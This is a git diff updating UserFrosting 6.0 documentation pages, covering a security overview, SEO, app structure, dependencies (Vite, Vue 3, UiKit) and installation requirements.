-description: It is essential to understand some basic security concepts before diving into web development. With an understanding of how the most common  vulnerabilities work and some diligence in configuring your system, UserFrosting sets you up with an application that is robust against most common attack vectors.
-obsolete: true
+description: It is essential to understand some basic security concepts before diving into web development. With an understanding of how the most common vulnerabilities work and some diligence in configuring your system, UserFrosting sets you up with an application that is robust against most common attack vectors.
 ---
 
 It is essential to understand some basic security concepts before diving into web development.
 
-If you aren't familiar with [OWASP](https://www.owasp.org/index.php/Main_Page), they are considered the authoritative source on web application security. Most of what we discuss in this section is covered in OWASP's [Top 10](https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project) list; nonetheless we paraphrase it here and discuss the strategies and features that UserFrosting offers to mitigate many of these vulnerabilities.
+If you aren't familiar with [OWASP](https://owasp.org/), they are considered the authoritative source on web application security. Most of what we discuss in this section is covered in OWASP's [Top 10](https://owasp.org/www-project-top-ten/) list; nonetheless we paraphrase it here and discuss the strategies and features that UserFrosting offers to mitigate many of these vulnerabilities.
+
+This section covers the most critical security vulnerabilities you need to understand:
+
+- [Server Misconfiguration](/background/security/server-misconfiguration): Learn why sensitive error messages should never appear in production and how to properly handle logging.
+- [CSRF Protection](/background/security/csrf-protection) : Understand Cross-Site Request Forgery attacks and how UserFrosting's built-in CSRF tokens protect your forms and AJAX requests.
+- [XSS Prevention](/background/security/xss-prevention) : Learn how Cross-Site Scripting works and how Twig's automatic output escaping protects your application from malicious script injection.
+- [SQL Injection Prevention](/background/security/sql-injection) : Discover why SQL injection is so dangerous and how Eloquent ORM and prepared statements keep your database secure.
+- [Authentication & Password Security](/background/security/authentication-and-passwords) : Master the essentials of secure password storage, session management, password resets, and multi-factor authentication.
+
+## Security is a Mindset
+
+Security isn't just about implementing specific features—it's about developing the right mindset throughout the development process:
+
+**Principle of Least Privilege:** Grant only the minimum permissions necessary. Database users, file permissions, API keys—everything should have just enough access to do its job and no more.
+
+**Defense in Depth:** Never rely on a single security measure. Layer multiple protections so that if one fails, others are still in place.
+
+**Fail Securely:** When something goes wrong, make sure your application fails in a secure way. Don't display stack traces in production, don't fall back to permissive access, and don't leak sensitive information in error messages.
+
+**Input Validation:** Never trust user input. Validate on the server side (client-side validation is only for user experience). Whitelist what's allowed rather than blacklisting what's not.
+
+**Keep Dependencies Updated:** Regularly update UserFrosting and all third-party packages. Security vulnerabilities are discovered constantly, and updates often include critical security patches.
+
+> [!IMPORTANT]
+> Security is not a one-time task—it's an ongoing process. Stay informed about new vulnerabilities, follow security best practices, and regularly audit your application.
+
+## Additional Resources
+
+- [OWASP Top 10](https://owasp.org/www-project-top-ten/)
+- [OWASP Cheat Sheet Series](https://cheatsheetseries.owasp.org/)
+- [PHP Security Guide](https://www.php.net/manual/en/security.php)
+- [Laravel Security Best Practices](https://laravel.com/docs/security) (many concepts apply to UserFrosting)
+- [CWE Top 25 Most Dangerous Software Weaknesses](https://cwe.mitre.org/top25/)
+
+> [!NOTE]
+> Remember: UserFrosting provides many security features out of the box, but it's ultimately your responsibility to use them correctly and follow security best practices in your custom code.
diff --git a/app/pages/6.0/02.background/06.seo/docs.md b/app/pages/6.0/02.background/06.seo/docs.md
index e708717c..9dd4c392 100644
--- a/app/pages/6.0/02.background/06.seo/docs.md
+++ b/app/pages/6.0/02.background/06.seo/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Search Engine Optimization
 description: Search Engine Optimization (SEO) is an integral part of the design and development process. We discuss the major important factors in getting a page to rank well, and how they fit in with UserFrosting's features and overall architecture.
-obsolete: true
 ---
 
 Search Engine Optimization (SEO) is an integral part of the design and development process. Getting the public side of your website to rank well in search results should be something you consider from the very beginning, and not an afterthought once you're getting ready to deploy.
@@ -63,17 +62,18 @@ Make your image files exactly the size at which you intend to display them (in s
 
 ### Use compiled assets in production
 
-The way UserFrosting [serves assets](asset-management) is great for development and debugging, but not so much for production. The asset files themselves (Javascript and CSS) are larger than they need to be to perform their function.
+The way UserFrosting [serves assets](asset-management) is great for development and debugging, but not so much for production. The asset files themselves (JavaScript and CSS) are larger than they need to be to perform their function.
 
-Using Webpack solves all of these problems:
+Using **Vite** (UserFrosting's build tool) solves all of these problems:
 
-1. It **minifies** your Javascript and CSS files, making files smaller by making variable names shorter and removing comments and whitespace;
-2. It **concatenates** Javascript and CSS files, reducing the number of requests needed by the page;
-3. It copies the assets to the `public/` directory, so that they can be served directly by your webserver instead of going through the application lifecycle.
+1. It **minifies** your JavaScript and CSS files, making files smaller by removing comments, whitespace, and optimizing code;
+2. It **bundles** JavaScript and CSS files efficiently using code splitting and tree shaking, reducing the amount of code loaded;
+3. It optimizes assets for production with automatic hashing for cache busting;
+4. It generates optimized builds that are served directly by your webserver for maximum performance.
 
 ### Caching
 
-[Caching](advanced/caching/intro) should happen on a number of levels throughout your application, on both the server and client sides. On the server, UserFrosting automatically caches route resolutions and fully-rendered Twig templates when you use the `production` configuration profile. You can also configure the webserver itself to cache entire responses. For example, see [nginx's caching documentation](https://www.nginx.com/resources/admin-guide/content-caching/).
+[Caching](advanced/caching) should happen on a number of levels throughout your application, on both the server and client sides. On the server, UserFrosting automatically caches route resolutions and fully-rendered Twig templates when you use the `production` environment mode. You can also configure the webserver itself to cache entire responses. For example, see [nginx's caching documentation](https://www.nginx.com/resources/admin-guide/content-caching/).
 
 Caching can also happen in the client's browser. For example, you don't want the client to have to retrieve images and Javascript files each time they visit your page, if those assets haven't changed since their last visit. Browser caching is handled by the `Cache-Control` response header, which is the server's way of telling the client's browser how long they should cache the response of a particular request.
 
@@ -81,7 +81,7 @@ Setting the value of the `Cache-Control` header is also typically handled direct
 
 The main issue with client-side caching is that you need some way of forcing the browser to refresh cached assets when they have changed (for example, when the site developers add a feature, fix a bug, or change some content). This is called **cache busting**, and the most common approach is to simply change the name of the asset so that browsers assume that it is a new resource to be loaded.
 
-Fortunately, UserFrosting's build tools take care of this as well. Each time you compile your assets, a random hash is used to name the compiled files. References to these assets in your pages are automatically updated to reflect these new names.
+Fortunately, Vite takes care of this automatically. Each time you build your assets for production, a content-based hash is used in the filename of compiled assets. References to these assets in your pages are automatically updated through Vite's manifest to reflect these new names.
 
 > [!TIP]
 > There are other steps that can be taken to further improve page performance, such as deferring the loading of Javascript and CSS, and inlining "above-the-fold" CSS. Google has recently released its [Pagespeed webserver module](https://developers.google.com/speed/pagespeed/module/) for Apache and nginx, which can automatically perform optimizations like these automatically and behind the scenes. We highly recommend that you look into installing and configuring this module if you use a supported webserver.
diff --git a/app/pages/6.0/02.background/chapter.md b/app/pages/6.0/02.background/chapter.md
index fa9c985a..00cc6782 100644
--- a/app/pages/6.0/02.background/chapter.md
+++ b/app/pages/6.0/02.background/chapter.md
@@ -7,6 +7,6 @@ description: "UserFrosting has a not-so-secret ulterior motive: to get you to be
 
 # Web Dev, the Right Way
 
-UserFrosting has a not-so-secret ulterior motive: **to get you to become a better developer**. 
+UserFrosting has a not-so-secret ulterior motive: **to get you to become a better developer**.
 
 In this chapter, we'll talk about the state of modern web development tools and practices, and clear up some common misconceptions about how web applications actually work. Then, we'll go over key security concepts. Finally, we'll discuss best practices to make sure that users will be able to find and use your application when it's finished.
diff --git a/app/pages/6.0/03.structure/01.introduction/docs.md b/app/pages/6.0/03.structure/01.introduction/docs.md
index dfa4fc58..93972841 100644
--- a/app/pages/6.0/03.structure/01.introduction/docs.md
+++ b/app/pages/6.0/03.structure/01.introduction/docs.md
@@ -1,23 +1,22 @@
 ---
 title: Your Application
 description: A Sprinkle can contain assets, configuration files, translations, routes, PHP classes, and Twig templates.
-obsolete: true
 ---
 
-UserFrosting 4 introduced the **Sprinkle system** as a way to completely isolate the code and content that you and your team produce from the core UserFrosting installation. **UserFrosting 5** takes this concept a step further, requiring a new chapter on the basic UserFrosting project structure before even talking about downloading any code!
-
-It's important to understand how UserFrosting 5 is structured. This will be key to understand the installation process, the tools required to do so, and how all the parts fits together to create your own project.
+*UserFrosting 4* introduced the **Sprinkle system** as a way to completely isolate the code and content that you and your team produce from the core UserFrosting installation. *UserFrosting 5* took this concept a step further by separating all of UserFrosting's code from your own project code.
 
 If you're familiar with UserFrosting 4, most of your code used to live along UserFrosting's code. Parts where separated in **Sprinkles**, but everything was located in your project folder. This meant if you were to host your project on Github, most of UserFrosting's code was also hosted in your repo. This was fine, but decreased modularity and made upgrades more difficult.
 
-To make things easier, UserFrosting 5 now separates all of your code from UserFrosting code. UserFrosting code is now handled by Composer. This is where the **App Skeleton** comes in.
+To make things easier, UserFrosting separates all of your code from UserFrosting code. UserFrosting code is handled by Composer. This is where the **App Skeleton** comes in.
+
+It's important to understand how UserFrosting is structured. This will be key to understand the installation process, the tools required to do so, and how all the parts fits together to create your own project.
 
 ## The App Skeleton, your project's template
 
-The **app skeleton** is a bare-bone UserFrosting project. Think of it like a starting kit, or template, to create your own application. Everything in the skeleton is meant to be modified. As such, the skeleton doesn't need to be a synced copy of the UserFrosting Github repository (called a ***fork***). It provides example pages and all the basic configuration to run a default UserFrosting application. 
+The **app skeleton** is a bare-bone UserFrosting project. Think of it like a starting kit, or template, to create your own application. Everything in the skeleton is meant to be modified. As such, the skeleton doesn't need to be a synced copy of the UserFrosting Github repository (called a ***fork***). It provides example pages and all the basic configuration to run a default UserFrosting application.
 
 > [!IMPORTANT]
-> While there is an official UserFrosting App Skeleton, it doesn't need to be the only one. Many skeletons could exist as starting points for new UserFrosting-based projects
+> While there is an official UserFrosting App Skeleton, it doesn't need to be the only one! Many skeletons could exist as starting points for new UserFrosting-based projects
 
 But what makes a UserFrosting application, a UserFrosting application? What does it contain? Well, it's not much different than a normal modern PHP application. Your UserFrosting based project will consist of your code, plus a bunch of **dependencies**. These dependencies are all handled by Composer (which we'll explain later) and are themselves separated into three groups : **The Framework**, **External Libraries**, and **Sprinkles** :
 
diff --git a/app/pages/6.0/03.structure/02.dependencies/docs.md b/app/pages/6.0/03.structure/02.dependencies/docs.md
index 324f412a..9ae94c07 100644
--- a/app/pages/6.0/03.structure/02.dependencies/docs.md
+++ b/app/pages/6.0/03.structure/02.dependencies/docs.md
@@ -1,23 +1,22 @@
 ---
 title: Built on the shoulders of giants
 description: Detailed breakdown of a UserFrosting's dependencies.
-obsolete: true
 ---
 
-As detailed in a previous chapter, it's important [not to reinvent the wheel](background/dont-reinvent-the-wheel). That's why UserFrosting depends on a number of external libraries, called dependencies. Those are written by people and organizations external to UserFrosting, providing the base that UserFrosting works on. These dependencies are not tied to UserFrosting and can be used by anyone. Think of dependencies as the raw materials, like wood and concrete, you get from the hardware store to build a house. We simply "glued" them together to create awesomeness! 
+As detailed in a previous chapter, it's important [not to reinvent the wheel](/background/dont-reinvent-the-wheel). That's why UserFrosting depends on a number of external libraries, called dependencies. Those are written by people and organizations external to UserFrosting, providing the base that UserFrosting works on. These dependencies are not tied to UserFrosting and can be used by anyone. Think of dependencies as the raw materials, like wood and concrete, you get from the hardware store to build a house. We simply "glued" them together to create awesomeness!
 
 While UserFrosting uses dozens of dependencies, here's a rundown of the most important ones:
 
 ## Slim 4
-**[Slim](https://www.slimframework.com)** is a PHP _micro framework_ that helps you quickly write simple yet powerful web applications and APIs. Slim is the backbone of UserFrosting. To be more precise, **UserFrosting _is_ a Slim Application**! 
+**[Slim](https://www.slimframework.com)** is a PHP _micro framework_ that helps you quickly write simple yet powerful web applications and APIs. Slim is the backbone of UserFrosting. To be more precise, **UserFrosting _is_ a Slim Application**!
 
 Except for the Bakery system (which uses _[Symfony Console](#symfony-console-5)_), UserFrosting uses Slim at every level to perform middleware management, route collections, and everything else needed to actually display a web page.
 
 ## PHP-DI 7
 **[PHP-DI](https://php-di.org)** is a _dependency injection container_. Dependency injection is one of the fundamental pillars of modern object-oriented software design. It is used extensively throughout UserFrosting to glue all services together while maintaining great flexibility to extend the basics functionalities of UserFrosting to create your own project. We'll explain dependency injection in detail in a later chapter. For now, it's only important to note **PHP-DI** is the dependency manager used by UserFrosting 5 to handle all dependency injection.
 
-## Eloquent 8
-**[Eloquent](https://laravel.com/docs/8.x/eloquent)** is part of the Laravel Framework. Eloquent makes it enjoyable to interact with a database. When using Eloquent, each database table has a corresponding "Model" that is used to interact with that table. In addition to retrieving records from the database table, Eloquent models allow you to insert, update, and delete records from the table as well.
+## Eloquent (Laravel 10)
+**[Eloquent](https://laravel.com/docs/10.x/eloquent)** is part of the Laravel Framework. Eloquent makes it enjoyable to interact with a database. When using Eloquent, each database table has a corresponding "Model" that is used to interact with that table. In addition to retrieving records from the database table, Eloquent models allow you to insert, update, and delete records from the table as well.
 
 Eloquent is one of the most powerful and easy to use tools available to interact with a Database. That is why it's been chosen as the database handler since early versions of UserFrosting.
 
@@ -28,7 +27,19 @@ Eloquent is one of the most powerful and easy to use tools available to interact
 **[Twig](https://twig.symfony.com/doc/)** is a flexible, fast, and secure template engine for PHP. Initially developed for the Symfony framework, Twig is easy to use. Twig provides the necessary tools to use the data generated by PHP and render the HTML page the end user gets to see.
 
 ## Symfony Console 5
-**[Symfony Console](https://symfony.com/doc/5.4/components/console.html)** eases the creation of beautiful and testable command line interfaces. This is used to power the **Bakery** command line interface tool used by UserFrosting. 
+**[Symfony Console](https://symfony.com/doc/5.4/components/console.html)** eases the creation of beautiful and testable command line interfaces. This is used to power the **Bakery** command line interface tool used by UserFrosting.
 
-## Webpack Encore 4
-**[Webpack Encore](https://symfony.com/doc/current/frontend.html)** wraps Webpack, providing a clean & powerful API for bundling JavaScript modules, pre-processing CSS & JS and compiling and minifying assets. Encore is a professional asset system that's a delight to use. It is used by UserFrosting to serve all CSS and Javascript files, while enabling the use of other frameworks, like Vue.js, in the future.
+## Vite
+**[Vite](https://vitejs.dev)** is a modern build tool that provides lightning-fast development with Hot Module Replacement (HMR), instant server start, and optimized production builds. Vite is used by UserFrosting to build and serve all frontend assets including CSS, JavaScript, TypeScript, and Vue components.
+
+Vite offers native support for modern web technologies including TypeScript, Vue 3, CSS preprocessors, and ESM modules. It compiles and bundles frontend assets into optimized files that can be included in Twig templates, enabling the use of modern frameworks and tools in your application.
+
+## Vue 3
+**[Vue](https://vuejs.org)** is a progressive JavaScript framework for building user interfaces. Vue is used in UserFrosting to create reactive, interactive components on the frontend. Its component-based architecture makes it easy to build complex user interfaces from small, reusable pieces.
+
+Vue 3 brings improved performance, better TypeScript support, and a more flexible Composition API. UserFrosting uses Vue for dynamic features like the admin panel, user management interfaces, and interactive forms, providing a modern and responsive user experience.
+
+## UiKit
+**[UiKit](https://getuikit.com)** is a lightweight and modular front-end framework for developing fast and powerful web interfaces. UiKit provides the CSS framework and UI components used in UserFrosting's default theme (Pink Cupcake).
+
+UiKit offers a comprehensive collection of HTML, CSS, and JavaScript components that are simple to use and easy to customize. It provides the styling, layout, and interactive components that make UserFrosting's interface both beautiful and functional.
diff --git a/app/pages/6.0/03.structure/03.framework/docs.md b/app/pages/6.0/03.structure/03.framework/docs.md
index 09e0c948..c7839b00 100644
--- a/app/pages/6.0/03.structure/03.framework/docs.md
+++ b/app/pages/6.0/03.structure/03.framework/docs.md
@@ -1,7 +1,6 @@
 ---
 title: The Framework
 description: A simple description of the UserFrosting Framework.
-obsolete: true
 ---
 
 The [**UserFrosting Framework**](https://github.com/userfrosting/framework/) contains the critical services required for UserFrosting to work. This is the only part of UserFrosting that is not considered a sprinkle. The reason for it not being considered a sprinkle is simple : the Framework contains the code required for the Sprinkle system to work. If it was a sprinkle itself, we'd be in a loop!
@@ -11,10 +10,10 @@ Aside from managing sprinkles (through the cleverly named _SprinkleManager_), th
 ## Shared Usage
 The UserFrosting Framework also contains some parts that are not tied directly to UserFrosting. These parts could be used outside of UserFrosting, in a completely separate application.
 
-The documentation for each part is embedded in the next chapters, but you can still see each part's documentation on it's own : 
- - [Cache](https://github.com/userfrosting/framework/tree/5.1/src/Cache) : Wrapper function for Laravel cache system for easier integration of the cache system in standalone projects.
- - [Config](https://github.com/userfrosting/framework/tree/5.1/src/Config) : Configuration files aggregator
- - [Fortress](https://github.com/userfrosting/framework/tree/5.1/src/Fortress) : A schema-driven system for elegant whitelisting, transformation and validation of user input, on both the client and server sides, from a unified set of rules.
- - [i81n](https://github.com/userfrosting/framework/tree/5.1/src/I18n) : The I18n module handles translation tasks.
- - [Session](https://github.com/userfrosting/framework/tree/5.1/src/Session) : PHP Session wrapper
- - [UniformResourceLocator](https://github.com/userfrosting/framework/tree/5.1/src/UniformResourceLocator) : The Uniform Resource Locator module handles resource aggregation and stream wrapper
+The documentation for each part is embedded in the next chapters, but you can still see each part's documentation on it's own :
+ - [Cache](https://github.com/userfrosting/framework/tree/main/src/Cache) : Wrapper function for Laravel cache system for easier integration of the cache system in standalone projects.
+ - [Config](https://github.com/userfrosting/framework/tree/main/src/Config) : Configuration files aggregator
+ - [Fortress](https://github.com/userfrosting/framework/tree/main/src/Fortress) : A schema-driven system for elegant whitelisting, transformation and validation of user input, on both the client and server sides, from a unified set of rules.
+ - [i81n](https://github.com/userfrosting/framework/tree/main/src/I18n) : The I18n module handles translation tasks.
+ - [Session](https://github.com/userfrosting/framework/tree/main/src/Session) : PHP Session wrapper
+ - [UniformResourceLocator](https://github.com/userfrosting/framework/tree/main/src/UniformResourceLocator) : The Uniform Resource Locator module handles resource aggregation and stream wrapper
diff --git a/app/pages/6.0/03.structure/04.sprinkles/docs.md b/app/pages/6.0/03.structure/04.sprinkles/docs.md
index 1990269e..28265861 100644
--- a/app/pages/6.0/03.structure/04.sprinkles/docs.md
+++ b/app/pages/6.0/03.structure/04.sprinkles/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Sprinkles, what are they?
 description: Detailed breakdown of a sprinkle's contents.
-obsolete: true
 ---
 
 Sprinkles are an integral part of UserFrosting. We'll see in detail how they work in [a later chapter](sprinkles), but for now it's important to have an overview.
@@ -14,7 +13,7 @@ Your app can have as many sprinkles as you want. A sprinkle could even depend on
 
 ## Bundled Sprinkles
 
-A default UserFrosting installation comes with **four** sprinkles, each of which will be downloaded by [Composer](installation/requirements/essential-tools-for-php#composer) in the `/vendor` directory during installation. 
+A default UserFrosting installation comes with **four** sprinkles, each of which will be downloaded by [Composer](installation/requirements/essential-tools-for-php#composer) in the `/vendor` directory during installation.
 
 Because UserFrosting is modular, you can decide to use these bundled sprinkles or not. You may or may not need the functionality each provides in your app. We'll go over how to enable and disable them [later](sprinkles/recipe#removing-default-sprinkles). For now, let's focus on their features.
 
@@ -32,9 +31,9 @@ The Account sprinkle depends on the Core sprinkle.
 ### Admin Sprinkle
 The **Admin** sprinkle contains the routes and controllers to implement the administrative user management interface, as well as the group, role, and permission management interfaces.
 
-The Admin sprinkle depends on the Core, Account and AdminLTE sprinkles.
+The Admin sprinkle depends on the Core, Account and Pink Cupcake sprinkles.
 
-### AdminLTE Theme
-The **AdminLTE** theme sprinkle contains all the twig files and frontend assets to implement the [AdminLTE](https://adminlte.io) template.
+### Pink Cupcake Theme
+The **Pink Cupcake** theme sprinkle contains all the Twig templates and frontend assets built with [UiKit](https://getuikit.com). It provides a modern, responsive interface with Vue 3 components for interactive features.
 
-The AdminLTE sprinkle depends on the Core and Account sprinkles.
+The Pink Cupcake sprinkle depends on the Core and Account sprinkles.
diff --git a/app/pages/6.0/03.structure/chapter.md b/app/pages/6.0/03.structure/chapter.md
index 3b4e8c38..f3f77c0d 100644
--- a/app/pages/6.0/03.structure/chapter.md
+++ b/app/pages/6.0/03.structure/chapter.md
@@ -1,7 +1,6 @@
 ---
 title: App Structure
 description: UserFrosting is modular application framework built on the shoulders of giants. This chapter describes how UserFrosting is structured.
-obsolete: true
 ---
 
 #### Chapter 3
diff --git a/app/pages/6.0/04.installation/01.requirements/01.basic-stack/docs.md b/app/pages/6.0/04.installation/01.requirements/01.basic-stack/docs.md
index 9f568e11..86622a8e 100644
--- a/app/pages/6.0/04.installation/01.requirements/01.basic-stack/docs.md
+++ b/app/pages/6.0/04.installation/01.requirements/01.basic-stack/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Basic Stack Requirements
 description: UserFrosting requires a web server, PHP, and some sort of database.
-obsolete: true
 ---
 
 The basic stack requirements for running UserFrosting are pretty typical of any web framework or CMS. Those requirements are the software required to _run_ UserFrosting, usually on a "server". These are different from the [developer tools used to build your website](installation/requirements/essential-tools-for-php) which we'll see on the next page.
@@ -20,7 +19,7 @@ To run UserFrosting, you'll need four things :
 
 To run any website, you need *web server software*. Its tasks are to receive client requests, execute them, and send a reply. For a PHP website, the web server software won't execute the PHP code itself. Instead, it passes it to PHP which interprets the code and returns a response for the web server to display.
 
-The most popular web servers today are : 
+The most popular web servers today are :
 
 - [Nginx](https://www.nginx.com)
 - [Apache](https://httpd.apache.org)
@@ -30,26 +29,26 @@ Any of these can be used to run UserFrosting. However, when developing locally (
 
 ## PHP Requirements
 
-You're probably here because you already know what PHP is. Great! The only thing left to say is UserFrosting requires **PHP 8.1** or higher. However, it's highly recommended you use the latest supported version, which is *PHP 8.3*.
+You're probably here because you already know what PHP is. Great! The only thing left to say is UserFrosting requires **PHP 8.1** or higher. However, it's highly recommended you use the latest supported version, which is *PHP 8.5*.
 
 ### But my host only supports PHP 7.x! Why do I need PHP 8.1?
 
 Look, programming languages evolve, and PHP is no exception. Actually, PHP and other web languages have it particularly tough because they have so many responsibilities. PHP is the bouncer at the door: it has to be prepared to defend against constantly evolving security threats to your server. At the same time, it has to keep up with demand for faster performance, and satisfy the demand for new features from the [enormous](https://w3techs.com/technologies/overview/programming_language/all) PHP community.
 
-Honestly, PHP 8.1 isn't exactly cutting edge - in fact, **PHP 8.1 was no longer in active support as of [November 25th, 2023](http://php.net/supported-versions.php) and will be declared "End of Life" as of [November 25th, 2024](http://php.net/supported-versions.php)**.
+Honestly, PHP 8.1 isn't exactly cutting edge - in fact, **PHP 8.1 is already past its "End of Life" date ([November 25th, 2024](http://php.net/supported-versions.php)) and was no longer in active support as of [November 25th, 2023](http://php.net/supported-versions.php)**.
 
-In fact, we didn't make this decision directly. UserFrosting depends on a lot of third-party components, and *those* components require a minimum PHP version of _8.1_. As the whole community moves forward, UserFrosting does too. And fast! PHP 8.3 will only be supported until [November 23th, 2025](http://php.net/supported-versions.php) !
+In fact, we didn't make this decision directly. UserFrosting depends on a lot of third-party components, and *those* components require a minimum PHP version of _8.1_. As the whole community moves forward, UserFrosting does too. And fast! PHP 8.5 will only be supported until [November 2027](http://php.net/supported-versions.php) !
 
-If your hosting service doesn't have PHP 8.1 or above installed, call them and ask them to upgrade. If they refuse, point out that PHP 7.4 has been out of life for {{ date("now").diff(date("2022-11-28")).m }} months! To be honest, there is little reason to use a shared hosting (e.g. cPanel) service these days, especially when VPS providers like DigitalOcean and Amazon EC2 are so inexpensive. Unless you're stuck with shared hosting for some reason or another (fussy boss), [there's no real reason not to switch to a VPS](https://www.hostt.com/still-use-shared-hosting-theres-vps/).
+If your hosting service doesn't have PHP 8.1 or above installed, call them and ask them to upgrade. If they refuse, point out that PHP 7.4 has been out of life for more than **3 years**! To be honest, there is little reason to use a shared hosting (e.g. cPanel) service these days, especially when VPS providers like DigitalOcean and Amazon EC2 are so inexpensive. Unless you're stuck with shared hosting for some reason or another (fussy boss), [there's no real reason not to switch to a VPS](https://www.hostt.com/still-use-shared-hosting-theres-vps/).
 
 As for your local development environment ([You _do_ have a local development environment, right ?](background/develop-locally-serve-globally)), if it's that much of a burden then... I don't know what to tell you. So what are you waiting for? Upgrade!
 
 > [!NOTE]
-> As a reminder, as of UserFrosting 5.1, **PHP 8.3** is officially recommended. While you can still use UserFrosting 5 with PHP 8.1 and 8.2, upgrading to PHP 8.3 is highly recommended. Both PHP 8.1 and 8.2 support will eventually be removed the future.
+> As a reminder, **PHP 8.5** is officially recommended for UserFrosting 6. While you can still use UserFrosting with PHP 8.1, 8.2, 8.3 or 8.4, upgrading to PHP 8.5 is highly recommended for optimal performance and security.
 
 ### PHP Extensions
 
-UserFrosting and its dependencies requires some PHP Libraries and Extensions to be installed and enabled : 
+UserFrosting and its dependencies requires some PHP Libraries and Extensions to be installed and enabled :
 
 - [GD](https://www.php.net/manual/en/book.image.php)
 - [DOM](https://www.php.net/manual/en/book.dom.php)
diff --git a/app/pages/6.0/04.installation/01.requirements/02.essential-tools-for-php/docs.md b/app/pages/6.0/04.installation/01.requirements/02.essential-tools-for-php/docs.md
index d42eada8..d7226d2b 100644
--- a/app/pages/6.0/04.installation/01.requirements/02.essential-tools-for-php/docs.md
+++ b/app/pages/6.0/04.installation/01.requirements/02.essential-tools-for-php/docs.md
@@ -1,7 +1,6 @@
 ---
 title: Essential Tools for Modern PHP
 description: A minimal set of tools that every PHP developer should have installed in their development environment.
-obsolete: true
 ---
 
 On the previous page, we saw the softwares required to run UserFrosting. Now it's time to look at tools you'll need during development to build your UserFrosting application. These tools are not strictly required to be installed on your production server, which we'll cover in a [later chapter](going-live).
@@ -43,11 +42,11 @@ If you've been out of the PHP world for a while, you might have missed this crit
 Composer also handles autoloading, which means that the days of needing long blocks of `include` or `require` statements in your code are over. It fully implements the [PSR-4 standard](http://www.php-fig.org/psr/psr-4/) for autoloading, which further helps the PHP community develop a consistent approach to releasing and consuming packages.
 
 > [!NOTE]
-> Following its release in October 2020, UserFrosting 5 now requires [**Composer 2**](https://getcomposer.org).
+> Following its release in October 2020, UserFrosting requires [**Composer 2**](https://getcomposer.org).
 
 ## Node.js
 
-**[Node.js](https://nodejs.org/en/)** is an an extremely popular JavaScript runtime built on Chrome's V8 JavaScript Engine. In recent years it has become extremely popular for creating multiplatform applications, and for its role in providing a means to run platform independent build tools like `gulp` and `grunt` (to name just a few). Node.js also includes `npm` (Node.js Package Manager).
+**[Node.js](https://nodejs.org/en/)** is an extremely popular JavaScript runtime built on Chrome's V8 JavaScript Engine. In recent years it has become extremely popular for creating multiplatform applications, and for its role in providing a means to run platform independent build tools like `gulp` and `grunt` (to name just a few). Node.js also includes `npm` (Node.js Package Manager).
 
 Although UserFrosting does not _run_ on Node.js, it does use several Node-based tools to fetch client-side Javascript and CSS dependencies, as well as perform critical build tasks.
 
@@ -55,14 +54,14 @@ Although UserFrosting does not _run_ on Node.js, it does use several Node-based
 > Even though we'll be using these tools to get our application ready for deployment, you don't need to install Node.js on your live server. You can install it locally, perform your installation and build tasks, and then push the built application to the live server afterwards.
 
 > [!NOTE]
-> UserFrosting 5 requires **Node 18** or above.
+> UserFrosting requires **Node 18** or above.
 
 ## npm
 
-[npm](https://www.npmjs.com) stands for **N**ode **P**ackage **M**anager. npm is to Node.js what Composer is to PHP. It is used to grab the various Node packages that are required by UserFrosting's installation and build tools. 
+[npm](https://www.npmjs.com) stands for **N**ode **P**ackage **M**anager. npm is to Node.js what Composer is to PHP. It is used to grab the various Node packages that are required by UserFrosting's installation and build tools.
 
 > [!NOTE]
-> UserFrosting 5 requires **NPM 9** or above.
+> UserFrosting requires **NPM 9** or above.
 
 ## Code Editor
 
diff --git a/app/pages/6.0/04.installation/01.requirements/chapter.md b/app/pages/6.0/04.installation/01.requirements/chapter.md
index 04787e83..87ff9ed7 100644
--- a/app/pages/6.0/04.installation/01.requirements/chapter.md
+++ b/app/pages/6.0/04.installation/01.requirements/chapter.md
@@ -1,9 +1,8 @@
 ---
 title: Requirements
 description: UserFrosting has a few basic, sensible requirements - requirements that just about any modern web developer should already have set up!
-obsolete: true
 ---
 
 # Requirements
 
-UserFrosting has a few basic requirements and makes use of some modern development tools - requirements and tools that just about any modern web developer should already have set up! 
+UserFrosting has a few basic requirements and makes use of some modern development tools - requirements and tools that just about any modern web developer should already have set up!
diff --git a/app/pages/6.0/04.installation/02.environment/01.native/01.requirements/docs.md b/app/pages/6.0/04.installation/02.environment/01.native/01.requirements/docs.md
index 4a13499e..09e87377 100644
--- a/app/pages/6.0/04.installation/02.environment/01.native/01.requirements/docs.md
+++ b/app/pages/6.0/04.installation/02.environment/01.native/01.requirements/docs.md
@@ -1,9 +1,16 @@
 ---
 title: Installing Requirements
 description: Getting UserFrosting up and running in your development environment.
-obsolete: true
 ---
 
+Before you can start building with UserFrosting, you need the right tools installed. Think of these as your development toolkit—without them, you can't run UserFrosting or build your application. Some developers already have everything set up; others are starting fresh.
+
+This guide walks you through installing each required component: **PHP 8.1+**, **Composer** (PHP's package manager), **Node.js** and **npm** (for frontend assets), and a **command-line interface**. We intentionally skip web servers and databases here—UserFrosting can use PHP's built-in server and SQLite initially, so you can get started quickly and add those later if needed.
+
+By the end of this page, you'll have a complete development environment ready to run UserFrosting.
+
+## What You'll Install
+
 If your local development environment doesn't already have the [required stack and tools](installation/requirements), we'll now set them up. We'll go through the following:
 
 - [Command Line Interface](#cli)
@@ -22,33 +29,51 @@ If you followed the previous pages, you probably noticed two pieces of software
 
 ### CLI
 
-[plugin:content-inject](04.installation/_modular/cli)
+The [command line interface](installation/requirements/essential-tools-for-php#the-command-line-cli) will be required to perform most tasks in this guide. It's usage depends on your OS :
+
+#### MacOS
+If you're using MacOS, the **Terminal** is already installed on your computer. You'll find the app in `/System/Applications/Utilities/Terminal`.
+
+#### Linux
+Every Linux distro uses the command line. On Ubuntu for example, you can find a launcher for the terminal by clicking on the Activities item at the top left of the screen, then typing the first few letters of "terminal", "command", "prompt" or "shell".
+
+#### Windows
+The easiest way to setup a local dev environnement on Windows is through *Windows Subsystem for Linux* (WSL2). This is basically running Linux inside Windows. Best of both worlds! This also means most installation instructions for Windows you'll find on the internet won't work, as we're not technically *on* Windows, **we're on Ubuntu**. We'll instead use the Ubuntu installation instructions!
+
+See this guide for more detail on this process : [Set up a WSL development environment](https://learn.microsoft.com/en-us/windows/wsl/setup/environment). The gist of it is :
+
+1. Open *Windows Terminal*, which can be found in the [Microsoft Store](https://apps.microsoft.com/detail/9N0DX20HK701?hl=en-us&gl=US).
+2. Open the terminal and install WSL2 distro : `wsl --install`.
